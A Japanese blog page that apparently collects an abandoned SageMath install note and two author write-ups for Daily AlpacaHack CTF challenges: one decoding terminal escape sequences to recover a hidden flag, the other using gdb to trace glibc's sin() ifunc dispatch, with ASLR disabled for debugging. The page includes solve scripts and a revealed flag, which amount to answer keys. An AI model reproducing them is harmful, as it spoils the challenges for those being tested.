WARNING: If you now run 'make' again, the build directory of the
same version of the package will, by default, be deleted. Set the
environment variable SAGE_KEEP_BUILT_SPKGS=yes to prevent this.

real 65m40.114s user 38m56.325s sys 10m16.381s
make[1]: *** [all-start] Error 1
make: *** [all] Error 2

なんかどうでもよくなったので投げ出します。さようなら。

フォーマットをかけたいときだけ R.<x> = ... の行をコメントアウトするみたいなことをして迂回することにします。

環境構築が成功しなかった場合でも「こういうところでうまくいかなくて投げ出した」とかを書いておくと、後々「あ〜」となれるかなと思って残しておきます。 最低限のインストールはできましたが、なかよくはできなかったので失敗です。

Writeup for Dancing Cursor, Daily AlpacaHack 2026/2/20

Daily AlpacaHack 2026/2/20 の author’s write-up です。

alpacahack.com

導入

改行文字 \n を出力するとカーソルが下の行に動くのは有名でしょう。 状況によっては、\n 単体だと行頭ではなく真下に動きます(stty -onlcrstty onlcr などで切り替えられます)。そういう場合でも \r を用いると行頭まで戻ってくれます。\f\v で真下に動いてくれたりもします。

また、少し非有名かもしれませんが \b を出力すると左に動いてくれます。 文字を上書きせずに右に移動させるのは...? 少なくとも、(出力した文字列を覚えておけば)同じ文字を書くことで見かけ上そうすることは可能そうです。

では、上に動かすことは可能でしょうか?

このような問いは、CLI 用の少し凝ったプログラムを書こうとしたときに生じがちです。 複数行に渡るプログレスバーを(自前で)実装しようとしたりすると、たぶんそういう気持ちになると思います。

今回の問題はそうした機能に関連するものです。

解法例

まず、print-flag.sh を見ていきます。単に実行すると次のような出力を見ることになるはずです。 % から始まる行で入力、#> から始まる行で出力を表すことにします。出力が長い場合は #: で省略を表します。

% bash print-flag.sh
#> Here is the flag:
#> ... but it has been wiped away.

しかし、単にこの文字列にデコードされるような Base64 文字列は次のようになります。

SGVyZSBpcyB0aGUgZmxhZzoKLi4uIGJ1dCBpdCBoYXMgYmVlbiB3aXBlZCBhd2F5Lgo=

print-flag.sh 内にある文字列はもっと長いですから、なにか制御文字を用いた細工があるのでしょう。ということで、xxd(1)hexdump(1) などを用いて見てみましょう。

% bash print-flag.sh | xxd
#> 00000000: 4865 7265 2069 7320 7468 6520 666c 6167  Here is the flag
#> 00000010: 3a0a 1b5b 3f31 3034 3968 1b5b 3142 1b5b  :..[?1049h.[1B.[
#> 00000020: 313b 3338 3b35 3b31 3936 6d41 1b5b 6d1b  1;38;5;196mA.[m.
#:
#> 000003a0: 396c 2e2e 2e20 6275 7420 6974 2068 6173  9l... but it has
#> 000003b0: 2062 6565 6e20 7769 7065 6420 6177 6179   been wiped away
#> 000003c0: 2e0a                                     ..

先ほど見えていなかった \x1b[?1049h\x1b[1B などの文字列がたくさん見えます。

たとえば consols_codes(4) の ECMA-48 CSI sequences の章を見ると下記のことがわかります。

  • ESC [ n A
    • n 行だけ上に移動する。
  • ESC [ n B
    • n 行だけ下に移動する。
  • ESC [ n C
    • n 列だけ右に移動する。
  • ESC [ n D
    • n 列だけ左に移動する。
  • ESC [ K
    • カーソルより右側を削除する。

また、ECMA-48 Select Graphic Rendition の章を見ると次のことがわかります。

  • ESC [ 1 m
    • 太文字にする。
  • ESC [ 38 ; 5 ; x m
    • 文字色を x に対応する色に変える。
  • ESC [ m
    • 文字色(など)を元に戻す。

ESC [ ? 1049 hESC [ ? 1049 l については載っていないですが、DEC Private Mode (DECSET/DECRST) sequences を見るに何らかのスイッチを切り替えているものだと推測できます。GNU Screen のマニュアルの 11.1 Control Sequences を見ると Alternate Screen (new xterm code) という記述があります。echo $'\x1b[?1049h'echo $'\x1b[?1049l' などを試すと画面が切り替わる様を見て取れると思います。

以上を踏まえると、結局は次のような処理をしているということがわかります。

  • 画面を別の面に切り替える
  • カーソルを上下左右に移動させたり文字色を変えたりしつつ、フラグを構成する文字を出力する
  • 文字列を消す
  • ダミーの文字列で上書きする
  • 画面を元の面に戻す

ということで、文字列を消す処理の前で打ち切ることで、フラグを画面に残すことができます。

solve-1.sh

echo $'\x1bc'
bash print-flag.sh | cat -vet | sed -E '2!d; s/\^\[\[\?1049[hl]//g; s/\^\[\[K.*//; s/\^\[/\x1b/g'
echo
echo

ここで echo $'\x1bc' (ESC c) は画面をリセットするのに対応していて、clear コマンドや C-l (Control+L) のキーバインドをするのと同等の効果です。

あるいは、各文字の出力間隔を数ミリ秒空けることで、実際に dancing cursor な状況を見ることもできます。適切なタイミングで C-c を押して中断させましょう。

solve-2.sh

bash print-flag.sh |
    basenc --base16 |
    fold -w2 |
    while read -r hh; do
        echo $hh | xxd -p -r; sleep 0.02
    done

あるいは、カーソルの移動の箇所を自前で実装して再現させる解法ももちろんあります。

solve-3.py

from base64 import b64decode

input_base64 = "SGVyZSBpcyB0aGUgZmxhZzoKG1s/MTA0OWgbWzFCG1sxOzM4OzU7MTk2bUEbW20bWzE7Mzg7NTsyMDhtbBtbbRtbMTszODs1OzIyNm1wG1ttG1sxOzM4OzU7MjAybWEbW20bWzE7Mzg7NTsyMjBtYxtbbRtbMTszODs1OzIxNG1hG1ttG1sxbXsbW20bWzQ2QxtbMW19G1ttG1sxQhtbMTFEG1szODs1OzE5MW0jG1ttG1sxQRtbN0RuG1sxM0RfG1syNkNsG1szNER1G1s1RHMbWzZEdBtbNkNTG1sxMEMwG1sxOERyG1sxQRtbOEQbWzM4OzU7MjI2bSsbW20bWzFCG1szQ28bWzQwQ3QbWzM0REUbWzNEXxtbMUIbWzJEG1szODs1OzIyN21vG1ttG1syQRtbMkMbWzM4OzU7MjI3bS4bW20bWzFCG1syM0NyG1szNERDG1szNENvG1sxNkRoG1sxQ3VsG1sxOUNyG1sxQhtbNTBEG1szODs1OzIyNm0qG1ttG1szNUMbWzM4OzU7MTkwbSsbW20bWzJBG1s0RBtbMzg7NTsyMjZtLhtbbRtbMTFDG1szODs1OzIyN21vG1ttG1sxQhtbMzREbBtbMUEbWzhDG1szODs1OzE5MW1vG1ttG1sxQhtbOUNfG1sxQhtbMTREG1szODs1OzIyMW0rG1ttG1syQRtbMTBEG1szODs1OzE5MG0jG1ttG1sxQhtbMzVDYxtbMTNEMxtbMUIbWzE0QxtbMzg7NTsyMjFtKhtbbRtbMUEbWzI5RG4bWzlDZBtbMUEbWzREG1szODs1OzIyMW0rG1ttG1syQhtbMjJEG1szODs1OzIyN20uG1ttG1sxQRtbMThDcxtbMUEbWzEzQxtbMzg7NTsxOTFtIxtbbRtbMUIbWzZDbxtbN0RfG1szMERvG1szMEN1G1syMERzG1s3REMbWzFCG1s2QxtbMzg7NTsyMjZtKhtbbRtbMUEbWzEzQzMbWzE3RGUbWzREZRtbMzBDbxtbNERuG1s0MERuG1szNUNfG1sxMER1G1syRF8bWzE0RGMbWzIxQ3IbWzEyRGIbWzFCG1szRBtbMzg7NTsxOTFtbxtbbRtbMUEbWzZDZBtbMUEbWzM5RBtbSxtbMkIbW0sbWzFBWGlxeG94ez09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT19ChtbPzEwNDlsLi4uIGJ1dCBpdCBoYXMgYmVlbiB3aXBlZCBhd2F5Lgo="
input_ = b64decode(input_base64).decode()

res = [[" "] * 96 for _ in range(5)]
buf, esc = [0], False
i, j = 0, 0
for c in input_:
    if esc:
        if "0" <= c <= "9":
            buf[-1] *= 10
            buf[-1] += int(c)
        elif c == "h" or c == "l":
            buf, esc = [0], False
        elif c == ";":
            buf.append(0)
        elif c == "A":
            i -= buf[-1]
            buf, esc = [0], False
        elif c == "B":
            i += buf[-1]
            buf, esc = [0], False
        elif c == "C":
            j += buf[-1]
            buf, esc = [0], False
        elif c == "D":
            j -= buf[-1]
            buf, esc = [0], False
        elif c == "?":
            continue
        elif c == "m":
            buf, esc = [0], False
    else:
        if c == "\x1b":
            esc = True
        elif c == "X":
            break
        elif c == "\n":
            i += 1
            j = 0
        else:
            res[i][j] = c
            j += 1

for x in res:
    print("".join(x))

以上によりフラグが得られます。👏

Here is the flag:                                                                               
    +     #     .     o     +     .     #     o                                                 
Alpaca{Control_sESCuences_sh0uld_b3_und3r_our_control}                                          
 *     .     o     +     *     o     +     #     *                                              

フラグの文字列は ESC\033 との掛詞でした。sequence と掛けたのは強引だったかもしれませんが、前回もそういう感じでしたし別によいでしょう。evanESCent という単語もあるらしいです。

あと、ダミーの文字列は適当な感じにしましたが、Llama{================} とか Redacted{================} とかにしておけばよかったかなと後から思いました。

あとがき

バイナリをうっかり cat してしまったときに、\a が発火して ピコッピコッ と鳴りながら文字化けした ??? が画面を流れていく様を見せられたり、その後何らかの理由でターミナルが不調になった経験は誰しもあることでしょう。えびちゃんもあります。

なにかが起きるときの状況を再現させようということで、下記のようにしてファイルを作って cat したりしていました。

head -c 128 /dev/random > random-$(date +%s.%N).dat

echo $'\x1b]\x1bZ'echo $'\x1b[c' を実行するとターミナルに 1;2c が入力された状態になったりします。 echo $'\x1b[>c' だと 1;95;0c になりました。実際には ESC ?1;2c みたいなものが返ってきているらしいです?

echo $'\x1b#8' を実行すると、画面が E で埋め尽くされたりします。遊んでいて変な状態になったら echo $'\x1bc' を実行すると助かる可能性があります。

echo $'\x1b[?7l' を実行すると、カーソルが右端まで達しても勝手に改行してくれなくなります。こちらは echo $'\x1bc' では治ってくれず、echo $'\x1b[?7h' などをする必要がありそうです。他にも、echo $'\x1b[?25l' でカーソルが消えたりします。いろいろと実装されているものですね。

今までは「ターミナルがこわれたらとりあえず stty sane を試して、治らなかったら画面を開き直す選択肢しか残らなくなる」という感じでしたが、少し成長した気がします。

vt100.net

こちらなども読んでみるとよいかもしれません。ncurses(3x) とかを読むのも面白そうかもしれません。

おわり

おわりです。また出題した際にはよろしくお願いします。

Writeup for wages of sin(), Daily AlpacaHack 2026/2/17

Daily AlpacaHack 2026/2/17 の author’s write-up です。

alpacahack.com

まずはすみません、出題不備がありました(意図していない入力でフラグが出てしまう)。それについては後半で言及します。 別解で解いた人もいるかもしれないですが、意図した解法についても考えてくださると author は喜ぶと思います。

下記の write-up の大半は出題前時点で書いていたものになります。

背景

浮動小数点演算は環境依存(で厄介)だと言われがちですが、環境変数によっても値が変わりますという話題です。 「環境依存」という言い回しがなされるときは詳細な要因が明確にされないことが多く、「よくわからないけどなんかそういう魔法で差異があるんだろう」のような扱われ方をしがちな気がします。 もちろん、(たとえばオープンソースでない部分の影響などで)調べられる範囲に答えがないこともしばしばありますが、深掘りしてみると面白い発見が得られることがしばしばあるかなと思います。

解答としては下記の記事で以前紹介していたものがそのまま使えるので、これを元々知っていた人にとってはすぐ済んでしまったかもしれませんが、そういう人も「元々知らなかった場合はどうやって調べたかな?」ということを考えてみるとよいかもしれません。

rsk0315.hatenablog.com

Daily AlpacaHack で出題される内容は基礎的・教育的なものが多いため、えびちゃん的には「元々知ってたのでその通りにしました」となることもよくあるのですが、「知らなかった場合にどうするか」「知らない人はどう調べるだろうか」ということを考えるのも面白いと思っています。

解法例

前準備

sin(x) の値が変わる必要があるというところで、まずは sin(x) の呼び出し時に何が行われているのかを調べていこうと思います。 ここでは gdb を使います。

試行錯誤をしながら挙動を確かめる場合、ASLR が有効だと実行のたびにアドレスが変わってしまってややこしくなる(メモリの状態などを書き残しておいたときに、「今のここのアドレスがさっきでいうここのアドレスで...」のような解釈を都度する必要が出てきたりする)ので、無効化しておくと楽になりがちです。

# sysctl kernel.randomize_va_space=0
kernel.randomize_va_space = 0

note: docker run--privileged つきで実行してコンテナに root で入っているので、$ ではなく # のプロンプトになっています。コメントみたいな色になってしまい不服。

ASLR が有効な場合でのみ再現する事象などもありうるので、注意は必要です。再度有効化する場合は次のようにします。

# sysctl kernel.randomize_va_space=2
kernel.randomize_va_space = 2

余談ですが、ASLR でどの程度アドレスが散らばるかは次のようにして調整できます。

# sysctl vm.mmap_rnd_bits=28
vm.mmap_rnd_bits = 28

vm.mmap_rnd_bits に関しては元々 32 の環境もあると思います(私の環境ではそうでした)が、AlpacaHack のサーバ上では 28 っぽい?気がする*1ので、それに合わせておくと都合がいい場合がしばしばあると思います。

ステップ実行

まずは main に breakpoint を打って命令を追っていきます。

(gdb) b main
Breakpoint 1 at 0x1171

(gdb) r
Starting program: /mnt/chall 
...

Breakpoint 1, 0x0000555555555171 in main ()
(gdb) x/10i $rip
=> 0x555555555171 <main+8>:    sub    $0x10,%rsp
   0x555555555175 <main+12>:  movsd  0xebb(%rip),%xmm0        # 0x555555556038
   0x55555555517d <main+20>:  movsd  %xmm0,-0x10(%rbp)
   0x555555555182 <main+25>:  mov    -0x10(%rbp),%rax
   0x555555555186 <main+29>:  movq   %rax,%xmm0
   0x55555555518b <main+34>:  call   0x555555555070 <sin@plt>
   0x555555555190 <main+39>:  movq   %xmm0,%rax
   0x555555555195 <main+44>:  mov    %rax,-0x8(%rbp)
   0x555555555199 <main+48>:  movsd  -0x8(%rbp),%xmm0
   0x55555555519e <main+53>:  ucomisd 0xe9a(%rip),%xmm0        # 0x555555556040

<main+12>movsd している値を確認してみましょう。

(gdb) x/a 0x555555556038
0x555555556038: 0x3fd0407d49e8acfc
(gdb) x/f 0x555555556038
0x555555556038: 0.25393612115540498

丸めの桁数の違いはありますが、chall.c 内の x と一致していることがわかります。正確な値は次のようになります*2

$$ \begin{aligned} &\phantom{{}={}} \texttt{1}.\texttt{0407D49E8ACFC}_{(16)}\times 2^{-2} \\ &= {\small 0.253936121155404}{\footnotesize 981308834067021}{\scriptsize 962255239486694}{\tiny 3359375}. \end{aligned} $$

さて、<main+34><sin@plt> というのを呼んでいるようなので、ここを追ってみましょう。

(gdb) b 'sin@plt'
Breakpoint 2 at 0x555555555070

(gdb) c
Continuing.

Breakpoint 2, 0x0000555555555070 in sin@plt ()
(gdb) x/3i $rip
=> 0x555555555070 <sin@plt>:   endbr64
   0x555555555074 <sin@plt+4>:    jmp    *0x2f56(%rip)        # 0x555555557fd0 <sin@got.plt>
   0x55555555507a <sin@plt+10>:   nopw   0x0(%rax,%rax,1)

<sin@got.plt> に置かれているアドレスに <sin@plt+4> からジャンプしているので、ジャンプ先を見てみましょう。

(gdb) x/10i 'sin@got.plt'
   0x7ffff7f4c2d0 <__sin_fma>:    endbr64
   0x7ffff7f4c2d4 <__sin_fma+4>:  push   %rbp
   0x7ffff7f4c2d5 <__sin_fma+5>:  mov    %rsp,%rbp
   0x7ffff7f4c2d8 <__sin_fma+8>:  push   %rbx
   0x7ffff7f4c2d9 <__sin_fma+9>:  sub    $0x38,%rsp
   0x7ffff7f4c2dd <__sin_fma+13>: mov    %fs:0x28,%rax
   0x7ffff7f4c2e6 <__sin_fma+22>: mov    %rax,-0x18(%rbp)
   0x7ffff7f4c2ea <__sin_fma+26>: xor    %eax,%eax
   0x7ffff7f4c2ec <__sin_fma+28>: vstmxcsr -0x28(%rbp)
   0x7ffff7f4c2f1 <__sin_fma+33>: mov    -0x28(%rbp),%edx

どうやら <__sin_fma> という名前をした関数のようです*3x/10i 'sin@got.plt' を実行した後に enter を押し続けていると続きの命令も見れるので、しばらく眺めてみましょう。

libc のバージョンによってアドレスや順序に違いがあったりする可能性はありますが、GNU C Library (Ubuntu GLIBC 2.39-0ubuntu8.1) では次のようになりました。関数の冒頭のみを抜粋したものです。

   0x7ffff7f4c2d0 <__sin_fma>: endbr64
   0x7ffff7f4cad0 <__cos_fma>:    endbr64
   0x7ffff7f4d2c0 <__sincos_fma>: endbr64
   0x7ffff7f4dac0 <__tan_fma>:    endbr64
   0x7ffff7f4e300 <__cosf_sse2>:  endbr64
   0x7ffff7f4e5b0 <__sincosf_sse2>:   endbr64
   0x7ffff7f4e8a0 <__sinf_sse2>:  endbr64
   0x7ffff7f4eb40 <__exp2f_fma>:  endbr64
   0x7ffff7f4ec40 <__expf_fma>:   endbr64
   0x7ffff7f4ed50 <__log2f_fma>:  endbr64
   0x7ffff7f4ee50 <__logf_fma>:   endbr64
   0x7ffff7f4ef50 <__powf_fma>:   endbr64
   0x7ffff7f4f330 <__cosf_fma>:   endbr64
   0x7ffff7f4f570 <__sincosf_fma>:    endbr64
   0x7ffff7f4f800 <__sinf_fma>:   endbr64
   0x7ffff7f4fa30 <__ieee754_exp_fma4>:   endbr64
   0x7ffff7f4fc30 <__ieee754_log_fma4>:   endbr64
   0x7ffff7f4fe80 <__ieee754_pow_fma4>:   endbr64
   0x7ffff7f50510 <__ieee754_asin_fma4>:  endbr64
   0x7ffff7f50c50 <__ieee754_acos_fma4>:  endbr64
   0x7ffff7f513f0 <__atan_fma4>:  endbr64
   0x7ffff7f517d0 <__ieee754_atan2_fma4>: endbr64
   0x7ffff7f52200 <__sin_fma4>:   endbr64
   0x7ffff7f52a50 <__cos_fma4>:   endbr64
   0x7ffff7f53280 <__sincos_fma4>:    endbr64
   0x7ffff7f53a80 <__tan_fma4>:   endbr64
   0x7ffff7f542c0 <__ieee754_exp_avx>:    endbr64
   0x7ffff7f544f0 <__ieee754_log_avx>:    endbr64
   0x7ffff7f547b0 <__atan_avx>:   endbr64
   0x7ffff7f54ce0 <__ieee754_atan2_avx>:  endbr64
   0x7ffff7f558c0 <__sin_avx>:    endbr64
   0x7ffff7f561d0 <__cos_avx>:    endbr64
   0x7ffff7f56ad0 <__sincos_avx>: endbr64
   0x7ffff7f57440 <__tan_avx>:    endbr64

各種数学関数に _fma _sse2 _fma4 avx の suffix がついているのが見て取れます。特に sin に関しては __sin_fma __sin_fma4 __sin_avx というものが含まれています。これらの suffix は CPU の命令セットの名前のように見えます。

他にもあるのかな?というところで、gdb の入力補完を利用して探してみます。^I と書いてある場所で tab を押しています。

(gdb) p __sin_^I
__sin_avx    __sin_fma    __sin_fma4   __sin_ifunc  __sin_sse2   

__sin_sse2 というものもあるようです。先ほどの __sin_fma よりも下位アドレスにあるため先ほどは列挙されていなかったようですね。

(gdb) x/i &__sin_sse2
   0x7ffff7f008e0 <__sin_sse2>:   endbr64

__sin_ifunc というのもあり、これは CPU 命令セット名とは違いそうなので、少し調べてみます。

(gdb) x/20i __sin_ifunc 
   0x7ffff7f01ae0 <__sin_ifunc>:  endbr64
   0x7ffff7f01ae4 <__sin_ifunc+4>:    mov    0xb74e5(%rip),%rdx        # 0x7ffff7fb8fd0
   0x7ffff7f01aeb <__sin_ifunc+11>:   mov    0x9c(%rdx),%ecx
   0x7ffff7f01af1 <__sin_ifunc+17>:   test   $0x10,%ch
   0x7ffff7f01af4 <__sin_ifunc+20>:   je     0x7ffff7f01b06 <__sin_ifunc+38>
   0x7ffff7f01af6 <__sin_ifunc+22>:   
    lea    0x4a7d3(%rip),%rax        # 0x7ffff7f4c2d0 <__sin_fma>
   0x7ffff7f01afd <__sin_ifunc+29>:   testb  $0x20,0xb8(%rdx)
   0x7ffff7f01b04 <__sin_ifunc+36>:   jne    0x7ffff7f01b2e <__sin_ifunc+78>
   0x7ffff7f01b06 <__sin_ifunc+38>:   
    lea    0x506f3(%rip),%rax        # 0x7ffff7f52200 <__sin_fma4>
   0x7ffff7f01b0d <__sin_ifunc+45>:   testb  $0x1,0xde(%rdx)
   0x7ffff7f01b14 <__sin_ifunc+52>:   jne    0x7ffff7f01b2e <__sin_ifunc+78>
   0x7ffff7f01b16 <__sin_ifunc+54>:   and    $0x10000000,%ecx
   0x7ffff7f01b1c <__sin_ifunc+60>:   
    lea    0x53d9d(%rip),%rax        # 0x7ffff7f558c0 <__sin_avx>
   0x7ffff7f01b23 <__sin_ifunc+67>:   
    lea    -0x124a(%rip),%rdx        # 0x7ffff7f008e0 <__sin_sse2>
   0x7ffff7f01b2a <__sin_ifunc+74>:   cmove  %rdx,%rax
   0x7ffff7f01b2e <__sin_ifunc+78>:   ret
   0x7ffff7f01b2f:  nop
   0x7ffff7f01b30 <__cos_ifunc>:  endbr64
   0x7ffff7f01b34 <__cos_ifunc+4>:    mov    0xb7495(%rip),%rdx        # 0x7ffff7fb8fd0
   0x7ffff7f01b3b <__cos_ifunc+11>:   mov    0x9c(%rdx),%ecx

C っぽく書くと次のような処理に相当しています。

typedef unsigned u32;
typedef unsigned long u64;
typedef void* p64;

p64 __sin_ifunc() {
  p64 rdx = (p64)(*(u64*)0x7ffff7fb8fd0);
  u32 ecx = *(u32*)(rdx + 0x9c);
  p64 rax;
  int zf = 0;
  zf = ((ecx >> 8) & 0x10) == 0;
  if (zf)
    goto L38;
  rax = __sin_fma;
  zf = (*(u32*)(rdx + 0xb8) & 0x20) == 0;
  if (!zf)
    goto L78;
L38:
  rax = __sin_fma4;
  zf = (*(u32*)(rdx + 0xde) & 0x1) == 0;
  if (!zf)
    goto L78;
  ecx &= 0x10000000;
  zf = (ecx == 0);
  rax = __sin_avx;
  rdx = __sin_sse2;
  rax = zf ? rdx : rax;
L78:
  return rax;
}

整理すると次のような処理になっています。

p64 __sin_ifunc() {
  p64 rdx = (p64)(*(u64*)0x7ffff7fb8fd0);
  u32 ecx = *(u32*)(rdx + 0x9c);
  if ((ecx & 0x1000) != 0 && (*(u32*)(rdx + 0xb8) & 0x20) != 0) {
    return __sin_fma;
  } else if ((*(u32*)(rdx + 0xde) & 0x1) != 0) {
    return __sin_fma4;
  } else {
    return ((ecx & 0x10000000) != 0) ? __sin_avx : __sin_sse2;
  }
}

(rdx + 0x9c), (rdx + 0xb8), (rdx + 0xde) に何らかの重要なフラグが入っていて、その値に応じて __sin_fma, __sin_fma4, __sin_sse2, __sin_avx のいずれかを返すような処理をしているように見えます。実際、該当のフラグを確認すると __sin_fma に対応する条件に合致していました。

(gdb) p *(long*)(*(long*)0x7ffff7fb8fd0 + 0x9c) & 0x1000
$1 = 4096
(gdb) p *(long*)(*(long*)0x7ffff7fb8fd0 + 0xb8) & 0x20
$2 = 32
(gdb) p *(long*)(*(long*)0x7ffff7fb8fd0 + 0xde) & 0x1
$3 = 0
(gdb) p *(long*)(*(long*)0x7ffff7fb8fd0 + 0x9c) & 0x10000000
$4 = 268435456

ということで、ここのフラグを変えることができれば __sin_fma 以外を呼ぶことができそうかも?という気持ちになってきます。実際にはこの関数がどのように呼ばれ、どのように返り値が使われているかがまだわかっていないので、この段階ではただの期待です。

これらの関数において、該当の引数を与えたときに返り値が異なることは下記のように確かめられるので、たとえば __sin_avx を呼ぶようにできればよさそうということはわかります。

(gdb) p __sin_fma(0.25393612115540498)
$5 = 0.25121578956912338
(gdb) p __sin_avx(0.25393612115540498)
$6 = 0.25121578956912333

フラグ?

前項で突き止めたフラグを調べていきます。<sin@got.plt> の値がいつ変わるかを確認しながら処理を追いましょう。

(gdb) starti
...
0x00007ffff7fe4540 in _start () from /lib64/ld-linux-x86-64.so.2

(gdb) x/3i $rip
=> 0x7ffff7fe4540 <_start>:    mov    %rsp,%rdi
   0x7ffff7fe4543 <_start+3>: call   0x7ffff7fe51d0 <_dl_start>
   0x7ffff7fe4548 <_dl_start_user>:   mov    %rax,%r12

(gdb) x/a &'sin@got.plt'
0x555555557fd0 <sin@got.plt>: 0x1040

(gdb) ni
0x00007ffff7fe4543 in _start () from /lib64/ld-linux-x86-64.so.2

(gdb) x/a &'sin@got.plt'
0x555555557fd0 <sin@got.plt>: 0x1040

(gdb) ni
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, 0x0000555555555171 in main ()
(gdb) x/a &'sin@got.plt'
0x555555557fd0 <sin@got.plt>: 0x7ffff7f4c2d0 <__sin_fma>

_start の開始時点では 0x1040 で、_dl_start の処理内かつ main に到達する前に __sin_fma に変わっているようです。 しかし、b __sin_ifunc で breakpoint を打ってもうまく止まってくれないようです。アドレスを指定してみてもうまくいきません。

(gdb) b *0x7ffff7f01ae0
Breakpoint 3 at 0x7ffff7f01ae0: file ../sysdeps/x86_64/fpu/multiarch/s_sin.c, line 27.

(gdb) r
...
Warning:
Cannot insert breakpoint 3.
Cannot access memory at address 0x7ffff7f01ae0

_start の開始時点では libc が 0x7ffff7f01ae0 のアドレスにまだロードされていないため?ということで、ロードされてから breakpoint を作ってみましょう。

starti ni si ni 600 を実行しただけではまだ <sin@got.plt> は初期値のままで、そこから ni 100 をすると main に到達したので、その間のどこかでしょう。ということで ni を繰り返しながら探していきます。

=> 0x7ffff7fe5752 <_dl_start+1410>: 
    movaps %xmm3,0x186e7(%rip)        # 0x7ffff7ffde40 <_rtld_global+3648>
   0x7ffff7fe5759 <_dl_start+1417>:   call   0x7ffff7fe3ec0 <_dl_sysdep_start>
   0x7ffff7fe575e <_dl_start+1422>:   mov    %rax,%rbx
   0x7ffff7fe5761 <_dl_start+1425>:   
    testb  $0x80,0x17338(%rip)        # 0x7ffff7ffcaa0 <_rtld_global_ro>
   0x7ffff7fe5768 <_dl_start+1432>:   jne    0x7ffff7fe5803 <_dl_start+1587>
   0x7ffff7fe576e <_dl_start+1438>:   add    $0x88,%rsp
   0x7ffff7fe5775 <_dl_start+1445>:   mov    %rbx,%rax
   0x7ffff7fe5778 <_dl_start+1448>:   pop    %rbx
   0x7ffff7fe5779 <_dl_start+1449>:   pop    %r12
   0x7ffff7fe577b <_dl_start+1451>:   pop    %r13

実行を繰り返しながら確認すると、_dl_sysdep_start の内部処理で行っているようです。同様の手順で進めていくと、この中の dl_main が怪しそうでした。

b dl_main の breakpoint はうまく機能するようなので、活用しつつまた ni を繰り返していきます。b dl_main r ni 1500 としたあたりで、libc はロードされていてかつ <sin@got.plt> は初期値のままという状態になったので、b *0x7ffff7f01ae0 c をしてみましょう。

Breakpoint 2, 0x00007ffff7f01ae0 in ?? ()
(gdb) x/10i $rip
=> 0x7ffff7f01ae0:   endbr64
   0x7ffff7f01ae4:  mov    0xb74e5(%rip),%rdx        # 0x7ffff7fb8fd0
   0x7ffff7f01aeb:  mov    0x9c(%rdx),%ecx
   0x7ffff7f01af1:  test   $0x10,%ch
   0x7ffff7f01af4:  je     0x7ffff7f01b06
   0x7ffff7f01af6:  lea    0x4a7d3(%rip),%rax        # 0x7ffff7f4c2d0
   0x7ffff7f01afd:  testb  $0x20,0xb8(%rdx)
   0x7ffff7f01b04:  jne    0x7ffff7f01b2e
   0x7ffff7f01b06:  lea    0x506f3(%rip),%rax        # 0x7ffff7f52200
   0x7ffff7f01b0d:  testb  $0x1,0xde(%rdx)

(gdb) set *(long*)(*(long*)0x7ffff7fb8fd0 + 0x9c) &= ~0x1000L

シンボルは表示されていないですが、先ほど見た処理に来ています。該当のフラグを 0 にしてしまいましょう。 都度実行するのは大変なので、コマンドライン引数で渡してしまうことにすると、次のようなものに相当します。

% gdb -ex 'b dl_main' -ex 'r' -ex 'ni 1500' -ex 'b *0x7ffff7f01ae0' -ex 'c' -ex 'set *(long*)(*(long*)0x7ffff7fb8fd0 + 0x9c) &= ~0x1000L' -ex 'disa 2' -ex 'b main' -ex 'c' -ex "x/a &'sin@got.plt'" ./chall
Breakpoint 3, 0x0000555555555171 in main ()
0x555555557fd0 <sin@got.plt>: 0x7ffff7f558c0 <__sin_avx>

期待通り __sin_avx に変わっていることが確かめられました。 ということで、このフラグを変える方法がわかればよく、このフラグがなんなのかを調べていきましょう。

(gdb) set $rip = __sin_ifunc 

(gdb) x/i $rip
=> 0x7ffff7f01ae0 <__sin_ifunc>:   endbr64

(gdb) si
sin_ifunc_selector () at ../sysdeps/x86_64/fpu/multiarch/ifunc-avx-fma4.h:32
warning: 32 ../sysdeps/x86_64/fpu/multiarch/ifunc-avx-fma4.h: No such file or directory

$rip__sin_ifunc にしたりすることでファイル名を特定します。glibc のコード ifunc-avx-fma4.h @ glibc-2.39.9000 を見に行きましょう。 共通処理なのでマクロがたくさんありますが CPU_FEATURE_USABLE_P (cpu_features, FMA) というものがあり、これを false にできればよさそうです。コードの見た目も先ほど解析したものと似ています。

ということで、これが FMA に関する cpu_features のフラグであるということがわかりました。 次は、ここの値を設定している処理を突き止めましょう。

0x7ffff7ffcb3c <_rtld_global_ro+156>:  0x178881107ed83203

この値への書き込みを監視しましょう。

(gdb) info proc mappings 
process 284
Mapped address spaces:

          Start Addr           End Addr       Size     Offset  Perms  objfile
      0x555555554000     0x555555555000     0x1000        0x0  r--p   /mnt/chall
      0x555555555000     0x555555556000     0x1000     0x1000  r-xp   /mnt/chall
      0x555555556000     0x555555557000     0x1000     0x2000  r--p   /mnt/chall
      0x555555557000     0x555555559000     0x2000     0x2000  rw-p   /mnt/chall
      0x7ffff7fbf000     0x7ffff7fc3000     0x4000        0x0  r--p   [vvar]
      0x7ffff7fc3000     0x7ffff7fc5000     0x2000        0x0  r-xp   [vdso]
      0x7ffff7fc5000     0x7ffff7fc6000     0x1000        0x0  r--p   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
      0x7ffff7fc6000     0x7ffff7ff1000    0x2b000     0x1000  r-xp   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
      0x7ffff7ff1000     0x7ffff7ffb000     0xa000    0x2c000  r--p   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
      0x7ffff7ffb000     0x7ffff7fff000     0x4000    0x36000  rw-p   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
      0x7ffffffde000     0x7ffffffff000    0x21000        0x0  rw-p   [stack]
  0xffffffffff600000 0xffffffffff601000     0x1000        0x0  --xp   [vsyscall]

該当のアドレスは libc 内のものではなく ld-linux-x86-64.so.2 内のもののようなので、starti 直後からアクセスはできそうです。 と思ったのですが、watchpoint を使おうとしたところうまく動いてくれなかったため、この方針は諦めます。

ld-linux-x86-64.so.2 側のアドレスにあるということは、機能としてもそこで提供しているものだと考えられるので、ld-linux-x86-64.so.2 側について調べていきます。

“man ld-linux-x86-64.so.2” でググってみると ld.so(8) がトップに出てきました。

# ls -l $(which ld.so) | cut -d\  -f9-                
/usr/bin/ld.so -> ../lib64/ld-linux-x86-64.so.2

# ls -l /usr/lib64/ld-linux-x86-64.so.2 | cut -d\  -f9-
